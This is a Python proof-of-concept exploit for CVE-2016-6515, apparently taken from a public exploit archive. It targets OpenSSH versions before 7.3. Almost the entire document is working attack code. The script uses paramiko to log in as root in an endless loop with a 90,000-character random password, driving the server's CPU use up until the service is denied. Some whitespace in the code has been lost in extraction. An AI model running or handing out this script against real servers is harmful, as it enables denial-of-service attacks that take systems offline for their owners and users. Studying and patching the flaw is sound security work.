################################################################################# Title : OpenSSH before 7.3 Crypt CPU Consumption (DoS Vulnerability)# Author : Kashinath T (tkashinath@secpod.com) (www.secpod.com)# Vendor : http://www.openssh.com/# Software : http://www.openssh.com/# Version : OpenSSH before 7.3# Tested on : Ubuntu 16.04 LTS, Centos 7# CVE : CVE-2016-6515# Date : 20-10-2016## NOTE:# If the remote machine is installed and running OpenSSH version prior to 7.3,# it does not limit the password length for authentication. Hence, to exploit# this vulnerability' we will send a crafted data which is of 90000 characters# in length to the 'password' field while attempting to log in to a remote# machine via ssh with username as 'root'.## For more info refer,# http://www.secpod.com/blog/openssh-crypt-cpu-consumption################################################################################import sys
from random import choice
from string import lowercase
try:
import paramiko
except ImportError:
print "[-] python module 'paramiko' is missing, Install paramiko with"\" following command 'sudo pip install paramiko'"
sys.exit(0)
class ssh_exploit:
def __init__(self):
"""
Initialise the objects
"""
def ssh_login(self, remote_ip):
try:
# Crafted password of length 90000
passwd_len =90000
crafted_passwd ="".join(choice(lowercase)foriin range(passwd_len))# Connect to a remote machine via sshssh= paramiko.SSHClient()
ssh.load_system_host_keys()
ssh.set_missing_host_key_policy(paramiko.AutoAddPolicy())# calling connect in infinite loop
print "[+] Entering infinite loop"while1:
ssh.connect(remote_ip, username='root',
password=crafted_passwd)
except Exception, msg:
print "Error in connecting to remote host : ", remote_ip
print "Exception in : ssh_login method."
sys.exit(msg)
def main():
if len(sys.argv)!=2:
print "usage: python openssh_crypt_cpu_consumption_dos.py 192.168.x.x"
sys.exit()# Calling ssh_connect
ref_obj = ssh_exploit()
ref_obj.ssh_login(sys.argv[1])if __name__ =="__main__":
main()
